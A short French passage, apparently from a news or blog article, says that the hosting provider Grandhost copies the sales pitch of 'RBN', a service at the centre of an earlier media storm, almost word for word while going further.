Si cela ne vous rappelle rien, c'est que vous êtes miraculeusement passé à travers la tornade médiatique "RBN" et ses dérapages. Le discours commercial de Grandhost est calé pratiquement mot pour mot sur celui de son prédécesseur, en le poussant toutefois à la vitesse supérieure.